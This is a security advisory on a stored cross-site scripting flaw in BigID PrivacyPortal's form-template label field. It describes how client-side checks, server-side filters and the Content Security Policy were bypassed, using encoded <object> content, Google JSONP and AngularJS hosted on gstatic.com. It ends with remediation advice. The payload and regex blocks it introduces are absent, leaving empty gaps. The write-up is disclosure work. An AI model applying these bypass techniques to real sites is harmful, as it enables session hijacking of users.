CVE-2024-44771 - Stored Cross-site Scripting (XSS) in BigId PrivacyPortal v.179

The Discovery: Stored Cross-Site Scripting (XSS) in report templates via label parameter

In December 2023, during a penetration test conducted by Appgate’s Threat Advisory Services (TAS) for the BigID PrivacyPortal application, The TAS team found that it was possible to inject JavaScript code into form templates, particularly in the label field, resulting in a stored XSS vulnerability.

This discovery indicated that persistent, or stored cross-site scripting (XSS), vulnerabilities allow an attacker or a malicious user to inject arbitrary scripts into rendered web pages of unknowing victims. This allows the attacker to hijack control or take over the victim’s user experience, which can lead to session hijacking (stealing the user’s active session). The hijacked session can then initiate actions that appear to be performed by the victim, including adding the attacker as a user to the system, stealing session information, modifying settings, etc. The attacker can also set up sophisticated phishing campaigns or undertake other unwanted behaviors:

Obstacle #1: Client-side validations for malicious (script-based) input

Values for the vulnerable label parameter do not seem vulnerable at first because the client-side logic for validations of this input prevents entering characters commonly used in scripting attacks. For example, characters such as < and > were not permitted as a precaution against injection attacks.

Overcoming Obstacle #1: Bypass client-side validations and send malicious input directly to the API

The server-side logic that accepts the label parameter does not perform the same validations on input as the client-side logic; thus, the integrity of the payloads in the request are controlled and scrutinized by logic that can be bypassed by the attacker simply by sending the payload directly to the API.

However, in this case, the backend did in fact perform input validations, restricting the use of certain attack payloads but the client-side and server-side validations were not the same. This difference in behavior became part of the attack but presented a new obstacle to overcome to achieve a successful cross-site scripting attack.

Obstacle #2: Server-side validations modifying and removing malicious input

Appgate’s TAS team observed that the backend would remove the value of the src parameter and entire event handlers. This is a good practice and a preventative measure against cross-site scripting types of attacks.

In some cases, when the server-side logic securely and accurately validates the input and strips out unnecessary, unexpected, unauthorized, or other malicious input, the attack cannot proceed further, and the attacker would move on to another exploitable condition. In this instance, though, Appgate’s TAS analysts found a bypass for the second obstacle.

Overcoming Obstacle #2: Objects and encoding

Operating under the assumption that the server-side filters and validations were triggering on known-malicious HTML/JavaScript, TAS analysts attempted to construct a payload that would trick the filters into accepting the malicious content as safe. For this, the HTML <object> was used because it allows encoding of its contents.

For this example, we take the previous XSS attack that was blocked by the server-side filters and encode it using base64:

Putting it all together, the testing payload would be constructed like so:

After sending this attack payload, the second obstacle was cleared. But now, the attacker would face the third and final obstacle: a Content Security Policy (CSP) blocking this type of in-line execution.

Obstacle #3: Content Security Policy

BigID PolicyPortal utilizes a CSP configuration typically deployed to prevent unauthorized in-line scripts and external sources from rendering and executing within the session (by acting much like an allow list to dictate which scripts are allowed to execute and which should be blocked). Only scripts granted permission in the policy are allowed to execute, and in this case, only the following domains are allowed to execute:

• https://www.gstatic.com
• https://www.google.com
• https://js.recurly.com
• https://static.zdassets.com

The knowledge of how to bypass all previous preventative measures and execute arbitrary scripts in the context of the users’ session with the object encoding bypass means nothing without a bypass for the CSP. The CSP limits which domains can execute scripts. So, the next phase is to determine if there are domains that have scripting capabilities.

Overcoming Obstacle #3: Abusing trusted domains in the Content Security Policy

After researching content hosted by the trusted domains in the CSP, Appgate Threat Advisory analysts found two of the four trusted domains that could host malicious content to achieve XSS:

• Google.com (using JSONP functionality)
• Gstatic.com (hosting vulnerable versions of AngularJS)

CSP Bypass #1 - Abusing trust between Google.com and the Content Security Policy

As a result of the comprehensive investigation, it was determined that it was possible to insert a payload into the label parameter to trigger an alert on the user interface by using Google’s JSONP functionality. The details are as follows:

Putting It All Together: Proof of concept, “Exploit Payload” example #1

To replicate this attack, the attacker will send the payload to the API, as follows:

The malicious payload will then be embedded persistently in the rendered HTML and executed in the context of all victim users’ active BigID Privacy Portal Session:

Putting It All Together: CSP Bypass #2 - Abusing trust between gstatic.com and the Content Security Policy

In theory, it would also be possible to abuse the trust of gstatic.com in the CSP by loading a vulnerable version of AngularJS to achieve persistent XSS, but the team did not have enough time to pursue this approach. Even with the time constraints, the team did, however, receive evidence that the method would work by triggering an exception (indicating that the script did execute and the obstacles and CSP were successfully bypassed, although the script itself threw an exception). With enough time, the scripting error will ultimately be fixed, and this will be another path an attacker can take to launch a successful CSP bypass and XSS attack.

Proof of Concept Exploit Payload Example #2:

The above PoC payload will successfully pull down a vulnerable version of AngularJS from gstatic.com and then the trigger will be embedded in the victim’s session:

In its current state, the PoC will cause an exception, but this still demonstrates that the script executed and bypassed all obstacles and CSP policies.

Original Remediation Suggestion

The application has undergone some keyword sanitization, but not enough to prevent XSS exploitation. Appgate’s TAS team recommends the following:

• Sanitize all user input on the frontend and backend, and correct encoding of HTML special characters before they are displayed to the user on the frontend.
• Perform a correct configuration of the CSP protection following the OWASP guidelines.
• Make it impossible to import code from public sites when it isn’t necessary. If it is necessary to import public modules, directly reference necessary scripts using the sha256 flag in the CSP configuration.

Vendor Remediation

One month following delivery of the penetration test report on BigId/PrivacyPortal by Appgate’s TAS team, a patch was generated and deployed to solve the input sanitization problem that allowed malicious attackers to exploit the XSS vulnerability reported here. The patch created the following regular expression that filtered the type of input, thus removing the ability to inject characters that can be used in these types of attacks:

 Against the following properties of the form field:

• Field Title
• Hint Value
• Default Value
• Tooltip Value

On 01/25/2024, the Appgate TAS team performed a retest on BigID PrivacyPortal to confirm that the solution implemented in the patch was sufficient to prevent the XSS exploit under the same conditions as demonstrated in the original finding.